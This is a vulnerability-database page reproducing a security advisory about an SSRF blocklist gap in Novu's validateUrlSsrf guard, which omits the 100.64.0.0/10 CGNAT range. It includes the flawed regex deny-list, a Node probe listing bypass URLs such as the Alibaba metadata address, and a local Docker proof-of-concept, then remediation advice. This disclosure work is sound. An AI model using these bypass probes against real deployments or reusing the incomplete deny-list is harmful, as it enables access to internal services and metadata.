Vulnerability-Lookup

GHSA-VG6V-J97M-H5XQ

Vulnerability from github – Published: 2026-07-28 14:59 – Updated: 2026-07-28 14:59

Summary

@novu/application-generic: `validateUrlSsrf` permits CGNAT (100.64.0.0/10) destinations — affects Workflow HTTP request step + Webhook filter condition

Details

Hi Novu team,

Reporting an SSRF blocklist gap in the shared validateUrlSsrf guard. A complete self-contained reproduction is inlined below — copy the four files into a directory and run docker compose up, plus a single-file probe that runs against Node directly. Locally validated against HEAD 291817c.

Summary

Novu's shared SSRF guard validateUrlSsrf(url) is used before server-side requests to user-configured URLs. The guard resolves hostnames and blocks a regex list of private/reserved IP ranges, but it does not block 100.64.0.0/10 shared address space. As a result, Novu features protected by this guard can still send server-side requests to destinations such as 100.100.100.200 (Alibaba Cloud metadata service) and any other service reachable in 100.64.0.0/10.

Affected code

Guard:

libs/application-generic/src/utils/ssrf-url-validation.ts
isPrivateIp(...) regex list at lines 9-28
DNS resolution and address validation at lines 55-72

Product call-sites:

Workflow HTTP request step: apps/worker/src/app/workflow/usecases/send-message/execute-http-request-step.usecase.ts — calls validateUrlSsrf(url) at line 149, then uses HttpClientService to send the request.
Webhook filter condition: libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts — calls validateUrlSsrf(child.webhookUrl) at line 265, then sends axios.post(child.webhookUrl, ...) at line 277.

HTTP client:

libs/application-generic/src/services/http-client/http-client.service.ts — uses got(gotOptions) at lines 120 and 142 after the preflight validation.

Root cause

The SSRF guard uses a hand-written regex deny-list:

/^0\.0\.0\.0$/i,
/^127\./,
/^10\./,
/^172\.(1[6-9]|2[0-9]|3[01])\./,
/^192\.168\./,
/^169\.254\./,
/^::ffff:127\./i,
/^::ffff:10\./i,
/^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i,
/^::ffff:192\.168\./i,
/^::ffff:169\.254\./i,
/^::1$/,
/^fc00:/i,
/^fe80:/i,

This list omits 100.64.0.0/10, also called shared address space or CGNAT. These addresses are not RFC1918 private addresses, but they are also not normal public-internet destinations. Cloud and infrastructure providers commonly use special-use address ranges for metadata and internal services; Alibaba Cloud metadata is available at 100.100.100.200.

Reproduction — Part 1: unit-level probe (no Docker required)

Save the following file and run with node novu_ssrf_guard_probe.js. The script replicates validateUrlSsrf from libs/application-generic/src/utils/ssrf-url-validation.ts verbatim (the isPrivateIp regex list is copied as-is) and tests several URL categories.

`novu_ssrf_guard_probe.js`

const dns = require('dns/promises');

function isPrivateIp(ip) {
  const privateRanges = [
    /^0\.0\.0\.0$/i,
    /^127\./,
    /^10\./,
    /^172\.(1[6-9]|2[0-9]|3[01])\./,
    /^192\.168\./,
    /^169\.254\./,
    /^::ffff:127\./i,
    /^::ffff:10\./i,
    /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i,
    /^::ffff:192\.168\./i,
    /^::ffff:169\.254\./i,
    /^::1$/,
    /^fc00:/i,
    /^fe80:/i,
  ];
  return privateRanges.some((range) => range.test(ip));
}

async function validateUrlSsrf(url) {
  let parsed;
  try {
    parsed = new URL(url);
  } catch {
    return 'Invalid URL format.';
  }
  if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
    return `URL scheme "${parsed.protocol}" is not allowed.`;
  }
  const hostname = parsed.hostname.toLowerCase();
  const blockedHostnames = ['localhost', 'metadata.google.internal'];
  if (blockedHostnames.includes(hostname)) {
    return `Requests to "${hostname}" are not allowed.`;
  }
  let addresses;
  try {
    addresses = await dns.lookup(hostname, { all: true });
  } catch {
    return `Unable to resolve hostname "${hostname}".`;
  }
  for (const { address } of addresses) {
    if (isPrivateIp(address)) {
      return `Requests to private or reserved IP addresses are not allowed (resolved: ${address}).`;
    }
  }
  return null;
}

async function main() {
  for (const url of [
    'http://127.0.0.1/',
    'http://0.0.0.0/',
    'http://0.0.0.1/',
    'http://169.254.169.254/',
    'http://100.64.0.1/',
    'http://100.100.100.200/',
    'http://224.0.0.1/',
    'http://[fd00::1]/',
    'http://[64:ff9b::7f00:1]/',
    'http://[::ffff:100.64.0.1]/',
    'http://8.8.8.8/',
  ]) {
    console.log(JSON.stringify({ url, verdict: (await validateUrlSsrf(url)) ?? 'ALLOW' }));
  }
}

main().catch((e) => { console.error(e); process.exitCode = 1; });

Expected output (relevant lines)

{"url":"http://127.0.0.1/","verdict":"Requests to private or reserved IP addresses are not allowed (resolved: 127.0.0.1)."}
{"url":"http://169.254.169.254/","verdict":"Requests to private or reserved IP addresses are not allowed (resolved: 169.254.169.254)."}
{"url":"http://100.64.0.1/","verdict":"ALLOW"}
{"url":"http://100.100.100.200/","verdict":"ALLOW"}
{"url":"http://8.8.8.8/","verdict":"ALLOW"}

The 2nd and 3rd ALLOW rows are the bypass — both are non-public destinations the guard should refuse.

Reproduction — Part 2: end-to-end Docker CGNAT proof

Save the three files below into a directory, then:

docker compose up --abort-on-container-exit --exit-code-from novu-client

This mirrors the product sequence in execute-http-request-step.usecase.ts: resolve hostname → validate with validateUrlSsrf → send HTTP request. The "target" container is bound to a CGNAT address (100.64.0.20) on a custom subnet, simulando a cloud-internal service reachable on the CGNAT range.

`docker-compose.yml`

services:
  cgnat-target:
    image: python:3.12-alpine
    command: python -u /srv/target.py
    volumes:
      - ./target.py:/srv/target.py:ro
    networks:
      novu-cgnat:
        ipv4_address: 100.64.0.20

  novu-client:
    image: node:22-alpine
    command: node /srv/client.js
    volumes:
      - ./client.js:/srv/client.js:ro
    depends_on:
      - cgnat-target
    networks:
      novu-cgnat:
        ipv4_address: 100.64.0.10

networks:
  novu-cgnat:
    ipam:
      config:
        - subnet: 100.64.0.0/24

`target.py`

from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        print(f"[target] {self.client_address[0]} POST {self.path}", flush=True)
        self.send_response(200)
        self.send_header("content-type", "application/json")
        self.end_headers()
        self.wfile.write(b'{"marker":"NOVU_CGNAT_SSRF_OK"}\n')
    def log_message(self, fmt, *args): return

HTTPServer(("100.64.0.20", 8080), Handler).serve_forever()

`client.js`

const dns = require('dns/promises');

function isPrivateIp(ip) {
  const privateRanges = [
    /^0\.0\.0\.0$/i, /^127\./, /^10\./,
    /^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./, /^169\.254\./,
    /^::ffff:127\./i, /^::ffff:10\./i,
    /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i,
    /^::ffff:192\.168\./i, /^::ffff:169\.254\./i,
    /^::1$/, /^fc00:/i, /^fe80:/i,
  ];
  return privateRanges.some((range) => range.test(ip));
}

async function validateUrlSsrf(url) {
  const parsed = new URL(url);
  if (!['http:', 'https:'].includes(parsed.protocol)) return 'bad scheme';
  if (['localhost', 'metadata.google.internal'].includes(parsed.hostname.toLowerCase())) {
    return 'blocked hostname';
  }
  const addresses = await dns.lookup(parsed.hostname, { all: true });
  for (const { address } of addresses) {
    if (isPrivateIp(address)) return `blocked ${address}`;
  }
  return null;
}

async function waitForTarget(url) {
  for (let attempt = 0; attempt < 20; attempt += 1) {
    try {
      const r = await fetch(url, { method: 'POST' });
      await r.text();
      return;
    } catch (_e) {
      await new Promise((resolve) => setTimeout(resolve, 250));
    }
  }
}

async function main() {
  const url = 'http://cgnat-target:8080/workflow-http-step';
  const addresses = await dns.lookup('cgnat-target', { all: true });
  const validation = await validateUrlSsrf(url);
  console.log(JSON.stringify({ url, addresses, validation: validation ?? 'ALLOW' }));

  if (validation) { process.exitCode = 2; return; }

  await waitForTarget(url);
  const response = await fetch(url, {
    method: 'POST',
    headers: { 'content-type': 'application/json' },
    body: JSON.stringify({ source: 'novu-http-request-step' }),
  });
  const body = await response.text();
  console.log(JSON.stringify({ status: response.status, body }));
}

main().catch((e) => { console.error(e); process.exitCode = 1; });

Expected output

novu-client-1   | {"url":"http://cgnat-target:8080/workflow-http-step","addresses":[{"address":"100.64.0.20","family":4}],"validation":"ALLOW"}
cgnat-target-1  | [target] 100.64.0.10 POST /workflow-http-step
novu-client-1   | {"status":200,"body":"{\"marker\":\"NOVU_CGNAT_SSRF_OK\"}\n"}

The chain is:

Resolve hostname cgnat-target → 100.64.0.20 (a CGNAT address).
Run Novu's validateUrlSsrf against the URL — returns ALLOW because 100.64.0.0/10 is missing from isPrivateIp.
Send the actual server-side HTTP POST → reaches the CGNAT-bound target → response with marker NOVU_CGNAT_SSRF_OK is received.

Impact

Any Novu feature that allows a user to configure an outbound HTTP URL and relies on validateUrlSsrf may still reach 100.64.0.0/10. Impact is highest for:

Alibaba Cloud deployments, where http://100.100.100.200/latest/meta-data/ may expose instance metadata.
Self-hosted deployments where 100.64.0.0/10 routes to private infrastructure, service meshes, VPNs, carrier-grade NAT, or provider-side internal services.
Multi-tenant deployments where one tenant can configure workflow HTTP request steps or webhook filters that execute from shared worker/API infrastructure — cross-tenant SSRF primitive into provider-internal services.

Suggested remediation

Replace regex matching with IP parsing and CIDR classification, e.g. using ipaddr.js with process(...) to normalize IPv4-mapped IPv6.
Treat only globally reachable public IPs as allowed by default (addr.range() === 'unicast' after IPv4-mapped unwrap, or equivalent).
Explicitly deny all special-use ranges, including at least:
0.0.0.0/8, 10.0.0.0/8, 100.64.0.0/10, 127.0.0.0/8, 169.254.0.0/16, 172.16.0.0/12, 192.168.0.0/16
multicast (224.0.0.0/4), documentation (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24, 2001:db8::/32), benchmarking (198.18.0.0/15), reserved (240.0.0.0/4)
IPv6 ULA (fc00::/7), link-local (fe80::/10), loopback (::1), and the IPv4-mapped variants of all of the above
Add regression tests for:
100.64.0.1, 100.100.100.200
hostnames resolving to those addresses
IPv4-mapped variants of denied IPv4 ranges (e.g., ::ffff:100.64.0.1)
Consider connection-time validation or a guarded lookup agent so the actual request cannot resolve to a different IP than the preflight checked (DNS-rebinding TOCTOU mitigation).

Notes

This report is intentionally scoped to the concrete 100.64.0.0/10 bypass. Additional missed ranges exist in the current regex guard (multicast 224.0.0.0/4, broadcast 255.255.255.255, benchmarking, documentation, 0.0.0.0/8 outside /32, and IPv4-mapped variants), but CGNAT is the highest-confidence real-world issue because it includes a known cloud metadata endpoint (100.100.100.200 on Alibaba Cloud).

Severity

6.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N

Show details on source website

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@novu/application-generic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T14:59:22Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Hi Novu team,\n\nReporting an SSRF blocklist gap in the shared `validateUrlSsrf` guard. A complete self-contained reproduction is inlined below \u2014 copy the four files into a directory and run `docker compose up`, plus a single-file probe that runs against Node directly. Locally validated against HEAD `291817c`.\n\n## Summary\n\nNovu\u0027s shared SSRF guard `validateUrlSsrf(url)` is used before server-side requests to user-configured URLs. The guard resolves hostnames and blocks a regex list of private/reserved IP ranges, but it does not block `100.64.0.0/10` shared address space. As a result, Novu features protected by this guard can still send server-side requests to destinations such as `100.100.100.200` (Alibaba Cloud metadata service) and any other service reachable in `100.64.0.0/10`.\n\n## Affected code\n\nGuard:\n\n- `libs/application-generic/src/utils/ssrf-url-validation.ts`\n  - `isPrivateIp(...)` regex list at lines 9-28\n  - DNS resolution and address validation at lines 55-72\n\nProduct call-sites:\n\n- Workflow HTTP request step: `apps/worker/src/app/workflow/usecases/send-message/execute-http-request-step.usecase.ts` \u2014 calls `validateUrlSsrf(url)` at line 149, then uses `HttpClientService` to send the request.\n- Webhook filter condition: `libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts` \u2014 calls `validateUrlSsrf(child.webhookUrl)` at line 265, then sends `axios.post(child.webhookUrl, ...)` at line 277.\n\nHTTP client:\n\n- `libs/application-generic/src/services/http-client/http-client.service.ts` \u2014 uses `got(gotOptions)` at lines 120 and 142 after the preflight validation.\n\n## Root cause\n\nThe SSRF guard uses a hand-written regex deny-list:\n\n```ts\n/^0\\.0\\.0\\.0$/i,\n/^127\\./,\n/^10\\./,\n/^172\\.(1[6-9]|2[0-9]|3[01])\\./,\n/^192\\.168\\./,\n/^169\\.254\\./,\n/^::ffff:127\\./i,\n/^::ffff:10\\./i,\n/^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n/^::ffff:192\\.168\\./i,\n/^::ffff:169\\.254\\./i,\n/^::1$/,\n/^fc00:/i,\n/^fe80:/i,\n```\n\nThis list omits `100.64.0.0/10`, also called shared address space or CGNAT. These addresses are not RFC1918 private addresses, but they are also not normal public-internet destinations. Cloud and infrastructure providers commonly use special-use address ranges for metadata and internal services; **Alibaba Cloud metadata is available at `100.100.100.200`**.\n\n## Reproduction \u2014 Part 1: unit-level probe (no Docker required)\n\nSave the following file and run with `node novu_ssrf_guard_probe.js`. The script replicates `validateUrlSsrf` from `libs/application-generic/src/utils/ssrf-url-validation.ts` **verbatim** (the `isPrivateIp` regex list is copied as-is) and tests several URL categories.\n\n### `novu_ssrf_guard_probe.js`\n\n```javascript\nconst dns = require(\u0027dns/promises\u0027);\n\nfunction isPrivateIp(ip) {\n  const privateRanges = [\n    /^0\\.0\\.0\\.0$/i,\n    /^127\\./,\n    /^10\\./,\n    /^172\\.(1[6-9]|2[0-9]|3[01])\\./,\n    /^192\\.168\\./,\n    /^169\\.254\\./,\n    /^::ffff:127\\./i,\n    /^::ffff:10\\./i,\n    /^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n    /^::ffff:192\\.168\\./i,\n    /^::ffff:169\\.254\\./i,\n    /^::1$/,\n    /^fc00:/i,\n    /^fe80:/i,\n  ];\n  return privateRanges.some((range) =\u003e range.test(ip));\n}\n\nasync function validateUrlSsrf(url) {\n  let parsed;\n  try {\n    parsed = new URL(url);\n  } catch {\n    return \u0027Invalid URL format.\u0027;\n  }\n  if (parsed.protocol !== \u0027http:\u0027 \u0026\u0026 parsed.protocol !== \u0027https:\u0027) {\n    return `URL scheme \"${parsed.protocol}\" is not allowed.`;\n  }\n  const hostname = parsed.hostname.toLowerCase();\n  const blockedHostnames = [\u0027localhost\u0027, \u0027metadata.google.internal\u0027];\n  if (blockedHostnames.includes(hostname)) {\n    return `Requests to \"${hostname}\" are not allowed.`;\n  }\n  let addresses;\n  try {\n    addresses = await dns.lookup(hostname, { all: true });\n  } catch {\n    return `Unable to resolve hostname \"${hostname}\".`;\n  }\n  for (const { address } of addresses) {\n    if (isPrivateIp(address)) {\n      return `Requests to private or reserved IP addresses are not allowed (resolved: ${address}).`;\n    }\n  }\n  return null;\n}\n\nasync function main() {\n  for (const url of [\n    \u0027http://127.0.0.1/\u0027,\n    \u0027http://0.0.0.0/\u0027,\n    \u0027http://0.0.0.1/\u0027,\n    \u0027http://169.254.169.254/\u0027,\n    \u0027http://100.64.0.1/\u0027,\n    \u0027http://100.100.100.200/\u0027,\n    \u0027http://224.0.0.1/\u0027,\n    \u0027http://[fd00::1]/\u0027,\n    \u0027http://[64:ff9b::7f00:1]/\u0027,\n    \u0027http://[::ffff:100.64.0.1]/\u0027,\n    \u0027http://8.8.8.8/\u0027,\n  ]) {\n    console.log(JSON.stringify({ url, verdict: (await validateUrlSsrf(url)) ?? \u0027ALLOW\u0027 }));\n  }\n}\n\nmain().catch((e) =\u003e { console.error(e); process.exitCode = 1; });\n```\n\n### Expected output (relevant lines)\n\n```json\n{\"url\":\"http://127.0.0.1/\",\"verdict\":\"Requests to private or reserved IP addresses are not allowed (resolved: 127.0.0.1).\"}\n{\"url\":\"http://169.254.169.254/\",\"verdict\":\"Requests to private or reserved IP addresses are not allowed (resolved: 169.254.169.254).\"}\n{\"url\":\"http://100.64.0.1/\",\"verdict\":\"ALLOW\"}\n{\"url\":\"http://100.100.100.200/\",\"verdict\":\"ALLOW\"}\n{\"url\":\"http://8.8.8.8/\",\"verdict\":\"ALLOW\"}\n```\n\nThe 2nd and 3rd `ALLOW` rows are the bypass \u2014 both are non-public destinations the guard should refuse.\n\n## Reproduction \u2014 Part 2: end-to-end Docker CGNAT proof\n\nSave the three files below into a directory, then:\n\n```bash\ndocker compose up --abort-on-container-exit --exit-code-from novu-client\n```\n\nThis mirrors the product sequence in `execute-http-request-step.usecase.ts`: resolve hostname \u2192 validate with `validateUrlSsrf` \u2192 send HTTP request. The \"target\" container is bound to a CGNAT address (`100.64.0.20`) on a custom subnet, simulando a cloud-internal service reachable on the CGNAT range.\n\n### `docker-compose.yml`\n\n```yaml\nservices:\n  cgnat-target:\n    image: python:3.12-alpine\n    command: python -u /srv/target.py\n    volumes:\n      - ./target.py:/srv/target.py:ro\n    networks:\n      novu-cgnat:\n        ipv4_address: 100.64.0.20\n\n  novu-client:\n    image: node:22-alpine\n    command: node /srv/client.js\n    volumes:\n      - ./client.js:/srv/client.js:ro\n    depends_on:\n      - cgnat-target\n    networks:\n      novu-cgnat:\n        ipv4_address: 100.64.0.10\n\nnetworks:\n  novu-cgnat:\n    ipam:\n      config:\n        - subnet: 100.64.0.0/24\n```\n\n### `target.py`\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        print(f\"[target] {self.client_address[0]} POST {self.path}\", flush=True)\n        self.send_response(200)\n        self.send_header(\"content-type\", \"application/json\")\n        self.end_headers()\n        self.wfile.write(b\u0027{\"marker\":\"NOVU_CGNAT_SSRF_OK\"}\\n\u0027)\n    def log_message(self, fmt, *args): return\n\nHTTPServer((\"100.64.0.20\", 8080), Handler).serve_forever()\n```\n\n### `client.js`\n\n```javascript\nconst dns = require(\u0027dns/promises\u0027);\n\nfunction isPrivateIp(ip) {\n  const privateRanges = [\n    /^0\\.0\\.0\\.0$/i, /^127\\./, /^10\\./,\n    /^172\\.(1[6-9]|2[0-9]|3[01])\\./, /^192\\.168\\./, /^169\\.254\\./,\n    /^::ffff:127\\./i, /^::ffff:10\\./i,\n    /^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n    /^::ffff:192\\.168\\./i, /^::ffff:169\\.254\\./i,\n    /^::1$/, /^fc00:/i, /^fe80:/i,\n  ];\n  return privateRanges.some((range) =\u003e range.test(ip));\n}\n\nasync function validateUrlSsrf(url) {\n  const parsed = new URL(url);\n  if (![\u0027http:\u0027, \u0027https:\u0027].includes(parsed.protocol)) return \u0027bad scheme\u0027;\n  if ([\u0027localhost\u0027, \u0027metadata.google.internal\u0027].includes(parsed.hostname.toLowerCase())) {\n    return \u0027blocked hostname\u0027;\n  }\n  const addresses = await dns.lookup(parsed.hostname, { all: true });\n  for (const { address } of addresses) {\n    if (isPrivateIp(address)) return `blocked ${address}`;\n  }\n  return null;\n}\n\nasync function waitForTarget(url) {\n  for (let attempt = 0; attempt \u003c 20; attempt += 1) {\n    try {\n      const r = await fetch(url, { method: \u0027POST\u0027 });\n      await r.text();\n      return;\n    } catch (_e) {\n      await new Promise((resolve) =\u003e setTimeout(resolve, 250));\n    }\n  }\n}\n\nasync function main() {\n  const url = \u0027http://cgnat-target:8080/workflow-http-step\u0027;\n  const addresses = await dns.lookup(\u0027cgnat-target\u0027, { all: true });\n  const validation = await validateUrlSsrf(url);\n  console.log(JSON.stringify({ url, addresses, validation: validation ?? \u0027ALLOW\u0027 }));\n\n  if (validation) { process.exitCode = 2; return; }\n\n  await waitForTarget(url);\n  const response = await fetch(url, {\n    method: \u0027POST\u0027,\n    headers: { \u0027content-type\u0027: \u0027application/json\u0027 },\n    body: JSON.stringify({ source: \u0027novu-http-request-step\u0027 }),\n  });\n  const body = await response.text();\n  console.log(JSON.stringify({ status: response.status, body }));\n}\n\nmain().catch((e) =\u003e { console.error(e); process.exitCode = 1; });\n```\n\n### Expected output\n\n```\nnovu-client-1   | {\"url\":\"http://cgnat-target:8080/workflow-http-step\",\"addresses\":[{\"address\":\"100.64.0.20\",\"family\":4}],\"validation\":\"ALLOW\"}\ncgnat-target-1  | [target] 100.64.0.10 POST /workflow-http-step\nnovu-client-1   | {\"status\":200,\"body\":\"{\\\"marker\\\":\\\"NOVU_CGNAT_SSRF_OK\\\"}\\n\"}\n```\n\nThe chain is:\n\n1. Resolve hostname `cgnat-target` \u2192 `100.64.0.20` (a CGNAT address).\n2. Run Novu\u0027s `validateUrlSsrf` against the URL \u2014 returns `ALLOW` because `100.64.0.0/10` is missing from `isPrivateIp`.\n3. Send the actual server-side HTTP POST \u2192 reaches the CGNAT-bound target \u2192 response with marker `NOVU_CGNAT_SSRF_OK` is received.\n\n## Impact\n\nAny Novu feature that allows a user to configure an outbound HTTP URL and relies on `validateUrlSsrf` may still reach `100.64.0.0/10`. Impact is highest for:\n\n- **Alibaba Cloud deployments**, where `http://100.100.100.200/latest/meta-data/` may expose instance metadata.\n- **Self-hosted deployments** where `100.64.0.0/10` routes to private infrastructure, service meshes, VPNs, carrier-grade NAT, or provider-side internal services.\n- **Multi-tenant deployments** where one tenant can configure workflow HTTP request steps or webhook filters that execute from shared worker/API infrastructure \u2014 cross-tenant SSRF primitive into provider-internal services.\n\n## Suggested remediation\n\n- Replace regex matching with IP parsing and CIDR classification, e.g. using `ipaddr.js` with `process(...)` to normalize IPv4-mapped IPv6.\n- Treat only globally reachable public IPs as allowed by default (`addr.range() === \u0027unicast\u0027` after IPv4-mapped unwrap, or equivalent).\n- Explicitly deny all special-use ranges, including at least:\n  - `0.0.0.0/8`, `10.0.0.0/8`, `100.64.0.0/10`, `127.0.0.0/8`, `169.254.0.0/16`, `172.16.0.0/12`, `192.168.0.0/16`\n  - multicast (`224.0.0.0/4`), documentation (`192.0.2.0/24`, `198.51.100.0/24`, `203.0.113.0/24`, `2001:db8::/32`), benchmarking (`198.18.0.0/15`), reserved (`240.0.0.0/4`)\n  - IPv6 ULA (`fc00::/7`), link-local (`fe80::/10`), loopback (`::1`), and the IPv4-mapped variants of all of the above\n- Add regression tests for:\n  - `100.64.0.1`, `100.100.100.200`\n  - hostnames resolving to those addresses\n  - IPv4-mapped variants of denied IPv4 ranges (e.g., `::ffff:100.64.0.1`)\n- Consider connection-time validation or a guarded lookup agent so the actual request cannot resolve to a different IP than the preflight checked (DNS-rebinding TOCTOU mitigation).\n\n## Notes\n\nThis report is intentionally scoped to the concrete `100.64.0.0/10` bypass. Additional missed ranges exist in the current regex guard (multicast `224.0.0.0/4`, broadcast `255.255.255.255`, benchmarking, documentation, `0.0.0.0/8` outside `/32`, and IPv4-mapped variants), but CGNAT is the highest-confidence real-world issue because it includes a known cloud metadata endpoint (`100.100.100.200` on Alibaba Cloud).",
  "id": "GHSA-vg6v-j97m-h5xq",
  "modified": "2026-07-28T14:59:22Z",
  "published": "2026-07-28T14:59:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/novuhq/novu/security/advisories/GHSA-vg6v-j97m-h5xq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/novuhq/novu"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@novu/application-generic: `validateUrlSsrf` permits CGNAT (100.64.0.0/10) destinations \u2014 affects Workflow HTTP request step + Webhook filter condition"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-VG6V-J97M-H5XQ

Summary

Affected code

Root cause

Reproduction — Part 1: unit-level probe (no Docker required)

novu_ssrf_guard_probe.js

Expected output (relevant lines)

Reproduction — Part 2: end-to-end Docker CGNAT proof

docker-compose.yml

target.py

client.js

Expected output

Impact

Suggested remediation

Notes

Tags

Sightings

Nomenclature

`novu_ssrf_guard_probe.js`

`docker-compose.yml`

`target.py`

`client.js`